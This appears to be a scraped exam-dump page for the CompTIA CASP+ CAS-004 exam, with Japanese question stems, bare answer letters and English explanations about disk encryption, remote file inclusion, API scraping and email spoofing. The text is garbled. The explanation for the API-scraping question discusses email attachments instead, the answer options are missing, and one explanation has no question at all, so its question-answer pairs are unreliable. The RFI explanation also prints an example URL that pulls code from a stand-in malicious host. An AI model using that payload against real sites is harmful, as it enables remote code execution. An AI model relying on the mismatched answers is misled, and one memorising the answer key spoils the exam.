ワークステーション、サーバー、ラップトップなどの資産の完全なディスク暗号化スキームに見合った、すべてのモバイル デバイスを暗号化する企業。会社のモバイル デバイス マネージャーを選択する際に、 MO ST が制限要因になる可能性があるのは次のうちどれですか?
正解: C
The inability to select AES-256 encryption will most likely be a limiting factor when selecting mobile device managers for the company. AES-256 is a symmetric encryption algorithm that uses a 256-bit key to encrypt and decrypt data. It is considered one of the strongest encryption methods available and is widely used for securing sensitive data. Mobile device managers are software applications that allow administrators to remotely manage and secure mobile devices used by employees. However, not all mobile device managers may support AES-256 encryption or allow the company to enforce it as a policy on all mobile devices. Verified Reference: https://www.comptia.org/training/books/casp-cas-004-study-guide , https://searchmobilecomputing.techtarget.com/definition/mobile-device-management
CAS-004-JPN 試験問題 217
セキュリティ エンジニアは、会社の Web サイトでユーザーに次の例を許可していることに気付きました。 hitps://mycompany.com/main.php?Country=US 次の脆弱性のうち、このサイトに最も影響を与える可能性のあるものはどれですか?
正解: B
Remote file inclusion (RFI) is a web vulnerability that allows an attacker to include malicious external files that are later run by the website or web application12. This can lead to code execution, data theft, defacement, or other malicious actions. RFI typically occurs when a web application dynamically Reference external scripts using user-supplied input without proper validation or sanitization23. In this case, the website allows users to specify a country parameter in the URL that is used to include a file from another domain. For example, an attacker could craft a URL like this: https://mycompany.com/main.php?Country=https://malicious.com/evil.php This would cause the website to include and execute the evil.php file from the malicious domain, which could contain any arbitrary code3.
CAS-004-JPN 試験問題 218
開発チームは、PaaS 環境に格納された企業のバックエンド API に接続するモバイル アプリケーションを作成しました。スクレイピング アクティビティが原因で、API のプロセッサ使用率が高くなっています。セキュリティ エンジニアは、動作を防止および修正するソリューションを推奨する必要があります。 API を保護するのに最も適しているのは次のうちどれですか? (2つ選んでください。)
Implementing cloud-based content filtering with sandboxing capabilities is the best solution for preventing malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form. Cloud-based content filtering is a technique that uses a cloud service to filter or block web traffic based on predefined rules or policies, preventing unauthorized or malicious access to web resources or services. Cloud-based content filtering can prevent malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it can scan or analyze email attachments before they reach the mailbox and block or quarantine them if they are malicious. Sandboxing is a technique that uses an isolated or virtualized environment to execute or test suspicious or untrusted code or applications, preventing them from affecting the host system or network. Sandboxing can prevent malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it can run or detonate email attachments in a safe environment and observe their behavior or impact before allowing them to reach the mailbox. Implementing application whitelisting and adding only the email client to the whitelist for laptops in the claims processing department is not a good solution for preventing malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it could affect the usability or functionality of other applications on the laptops that may be needed for work purposes, as well as not prevent malicious software from running within the email client. Requiring all laptops to connect to the VPN (virtual private network) before accessing email is not a good solution for preventing malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it could introduce latency or performance issues for accessing email, as well as not prevent malicious software from reaching or executing on the laptops. Installing a mail gateway to scan incoming messages and strip attachments before they reach the mailbox is not a good solution for preventing malicious software installation on the employee's laptop due to opening an email attachment that appeared to be a claim form, as it could affect the normal operations or functionality of email communication, as well as not prevent legitimate attachments from reaching the mailbox. Verified Reference: https://www.comptia.org/blog/what-is-cloud-based-content-filtering https://partners.comptia.org/docs/default-source/resources/casp-content-guide
DMARC (Domain-based Message Authentication, Reporting and Conformance) and SPF (Sender Policy Framework) are two mechanisms that can help detect and prevent email spoofing, which is the creation of email messages with a forged sender address. DMARC allows a domain owner to publish a policy that specifies how receivers should handle messages that fail authentication tests, such as SPF or DKIM (DomainKeys Identified Mail). SPF allows a domain owner to specify which mail servers are authorized to send email on behalf of their domain. By checking the DMARC and SPF records of the sender's domain, a receiver can verify if the email is from a legitimate source or not. Verified Reference: https://en.wikipedia.org/wiki/Email_spoofing https://en.wikipedia.org/wiki/DMARC https://en.wikipedia.org/wiki/Sender_Policy_Framework